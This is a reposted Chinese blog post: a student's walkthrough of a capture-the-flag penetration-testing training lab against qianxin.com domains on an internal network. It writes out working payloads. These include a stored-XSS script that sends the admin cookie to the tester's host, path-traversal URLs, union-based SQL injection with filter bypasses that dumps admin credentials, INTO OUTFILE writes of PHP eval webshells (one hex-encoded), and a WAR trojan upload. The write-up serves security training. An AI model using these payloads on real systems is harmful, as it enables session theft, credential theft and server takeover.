ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

渗透测试学习Week3-渗透测试项目实训(一)

2022-07-18 18:35:27  阅读:536  来源: 互联网

标签:测试项目 .. 漏洞 渗透 qianxin 获取 实训 com id


渗透测试项目实训

by 奇安信 (南航大二下暑期卓越班课程) 讲师:zzf

在内网进行

项目初始信息

三个域名

www.qianxin.com
blog.qianxin.com
news.qianxin.com

渗透项目从这三个域名开始着手,企业内部环境需要自行探索

环境拓扑

两台操作机,右侧为靶机

实训任务

登录www.qianxin.com网站后台获取flag1

漏洞发现

网页特点:通过输入框评论文章

xss漏洞测试

<script>alert(1)</script>:xss测试代码插入至评论框(弹出一个内容为1的对话框)

进一步测试

刷新网页,即时看到弹出的效果

测试结果

网站存在存储型xss漏洞

原理简述

提交评论后,数据已经存储到了数据库中,页面会直接刷新并直接到数据库中读取数据库中此页面的评论

漏洞利用

可以通过存储型xss漏洞,获取管理员cookie,从而登录web后台(前提:管理员会访问网站后台评论)

原理和具体利用

管理员浏览留言时,遇到alert语句,只会在管理员端弹出他的cookie;要让管理员执行我们插入的恶意代码时将他的cookie返回到本机;即通过在本机搭建一个web服务器,插入评论的js代码中访问本机的网站,并将对方的cookie作为参数返回

具体代码

python -m SimpleHTTPServer 7777:搭建简单的web服务,此服务开放在7777端口上

<script>windows.open('http://202.1.1.10:7777/?msg='+document.cookie)</script>:恶意代码

该恶意代码被管理员访问后,会将其cookie发送给本地web服务中;202.1.1.10:本机地址;

工具使用

burpsuit

将我们所有访问此网站的cookie替换为管理员的cookie

  • 配置burpsuit监听端口 127.0.0.1:8080
  • 配置浏览器的代理与burp一致
  • Match:^Cookie.*$;Replace:Cookie:JSESSIONID=...

最终将firefox的所有浏览流量中的cookie值替换了

名词解释

cookie:小块数据;身份验证cookie可以验证用户是否登录以及他们使用哪个账户登录

web服务:(Web Service) 通过网络调用其他网站的资源

xss攻击:注入恶意指令代码到网页,使用户加载并执行恶意制造的网页程序

结果

访问http://www.qianxin.com/admin/:完成以管理员身份登录到后台;获取flag1

小结

通过xss漏洞获取管理员cookie并登录后台从而获取有用信息

通过www.qianxin.com后台目录遍历漏洞,获取服务器tomcat管理页面的账户密码并登录获取flag2

逻辑前提

安装完tomcat时默认不能用,如果要使用需要修改tomcat的安装目录下conf目录中的tomcat_users.xml文件;故应先读取此内容

漏洞发现

管理员页面特点:模板资源下可以列出指定目录下的文件并能修改指定后缀的文件;

选择不同的目录,url没有跳转 --> 列出不同目录的文件可能为POST传参;通过进一步发现就是用户自己控制post参数

目录遍历漏洞测试

程序未实现对../一类的目录跳转符进行过滤导致 Path traversal

http://www.qianxin.com/admin/cms/template/getTemplates.html?res_path=res&dir=&up_dir=../../../../../../../../

通过../的个数测试出本机中web中间件的根目录中的文件;再通过控制dir内容一起达到任意目录的访问

http://www.qianxin.com/admin/cms/template/getTemplates.html?res_path=res&dir=&up_dir=../../../../../apache-tomcat-6.0.32

结果

查看文件即可得到账户和密码;登录Tomcat默认管理页面登录获取flag3

小结

通过目录遍历漏洞达到任意目录查看获取有用信息

在www.qianxin.com服务器的c盘根目录获取flag3

漏洞发现

在tomcat管理界面可以上传文件,且限制少

文件上传漏洞

将木马文件打包成war上传即可

获取webshell

访问该木马文件即可获取webshell

小结

通过文件上传漏洞,上传木马从而获取到webshell;访问该服务器目录获取有用信息

通过new.qianxin.com网站某页面存在的SQL注入漏洞获取数据库中的flag4

页面特点:cms

工具使用

wwwscan扫描工具对网站进行扫描得到文件目录;发现有sql目录

漏洞发现

sql目录可以访问;还能改参数 news.qianxin.com/sql/?id=1

SQL注入测试

单引号测试:

http://news.qianxin.com/sql/?id=2'

构造sql注入paylaod:

http://news.qianxin.com/sql/?id=2%0Aand%0A=1 --

根据页面响应判断出存在注入

漏洞利用

  • 测试判断表中字段数 ?id=2%0Aorder%0Aby%0A10 --:10

  • 确定sql注入回显位并判断判断当前连接数据库的用户id=2%0Aununionion%0Aselselectect%0A1,2,user(),4,5,6,7,8,9,10 --%0A--:回显点 2

  • 获取数据库字段名

    id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(column_name),4,5,6,7,8,9,10%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name=%27dede_admin%27 --%0A--
    
  • 读取数据库中dede_admin表中数据

    id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(userid,pwd),4,5,6,7,8,9,10%0Afrom%0Adede_admin%0Awhere%0Aid=2 --%0A--
    

    得到flag数据

名词解释

cms:内容管理系统

wwwscan:网站目录文件批量扫描工具

%0A:空格

%27'(单引号)

uniunionon:复写绕过union关键字过滤

user():用户函数

group_concat(user,id):字符串拼接函数,参数为user和id字段

column_name:字段名

information_schema.columns:允许你获取数据库中所有表和视图的所有列的信息

table_name:表名

小结

通过SQL注入漏洞来获取数据库中的有用信息

登录news.qianxin.com网站,获取网站后台首页的flag5

获取账户密码

在上一个任务中,id=1即admin,构造url同理获取admin密码即可

id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(userid,pwd),4,5,6,7,8,9,10%0Afrom%0Adede_admin%0Awhere%0Aid=1 --%0A--

观测可得密码为MD5加密;解密即可

寻找后台登陆地址

默认dedecms后台登录地址为: /dede/目录

在之前扫出来的目录结果中看到的疑似目录:.com:80/manager/login.php

结果

登录获取flag5

小结

通过SQL注入漏洞来获取数据库中的有用信息,比如后台登陆账户和密码;通过观察网页架构比如cms可获取有用信息

补充

通过SQL注入获取可访问路径的绝对路径:比如单引号引起的报错

apache配置文件位置

select load_file('/etc/apache/conf/httpd.conf') #user() (回显点)改为 load_file函数即可 Windows
select load_file('/etc/httpd/conf/httpd.conf') #Linux

通过SQL注入获取Apache配置文件内容:

id=2%0auniunionon%0Aseleselectct%0A1,2,load_file("/etc/httpd/conf/httpd.conf"),4,5,6,7,8,9,10

通过SQL注入获取shell:

.com/sql/index.php?id=2%0Auniunionon%0Aselselectect%0A1,2,'<?php eval($_POST[123])?>',4,5,6,7,8,9,10%0Ainto%0Aoutfile '/var/www/html/shell.php'--%0A--

防止一句话木马被过滤,使用16进制绕过:

2%0auniunionon%0aselselectect%0a1,2,0x3c3f706870406576616c28245f504f53545b636d645d293b3f3e,4,5,6,7,8,9,10%0ainto%0aoutfile%0a"/var/www/html/test1.php"

读取www.qianxin.com网站配置文件中的flag6

寻找网站配置文件

查找资料可知dedcms的配置文件目录:

dede数据库配置文件路径:/data/common.inc.php

浏览网站后台的文件管理器中寻找相应文件

结果

找到common.inc.php文件;

获取信息:数据库的用户名和密码;ip信息

其他内容

正常情况下web会连接本机的数据库,此时host为127.0.0.1或者localhost这样主机ip改变后不会影响数据库的连接;

若host为具体ip,则可能此ip就是本机ip地址也可能是这个web连接的不是本机数据库,而是另一台机器的;

此时可以进行信息收集

小结

从网站的后台进行信息收集,通过dedcms查找有关有用信息比如dede数据库配置文件,如获取数据库的用户名和密码;相关ip信息

读取news.qianxin.com服务器中/home目录下的flag7

目前情况

已成功登录web后台,但未获取webshell

逻辑前提

要读取/home目录下的文件,需要得到服务器权限,即需要服务器ssh的账户和密码;故此时要先获取webshell并查看其权限,低权限则提权即可

文件上传漏洞

在后台管理页面的文件管理器中存在任意文件上传;此时上传木马再用shell管理软件连接即可获取webshell

一句话木马

<?php eval($_POST[cmd])?>    #参数为cmd,这个随意

后续提权

在Kali中使用Cknife中国菜刀连接shell:java -jar Cknife.jar #启动

打开虚拟终端

id:查看当前webshell的权限 --> uid=48(apache)

故此时为apache权限,尝试读取/home目录下文件 ls -al /home发现对flag7有可读权限

结果

成功读取flag7

小结

通过文件上传漏洞获取网页后台的webshell;根据该shell的权限来判断是否需要进一步提权

小结

  • 对已有的资产(比如域名)进行探索

  • 对网页进行观察并测试是否有可利用的漏洞

  • 通过漏洞利用登录网页后台并做信息收集

  • 通过漏洞利用做信息收集以及获取webshell

  • 连上webshell,做信息收集,并根据需要进行提权进一步信息收集

标签:测试项目,..,漏洞,渗透,qianxin,获取,实训,com,id
来源: https://www.cnblogs.com/hyq2/p/16491554.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有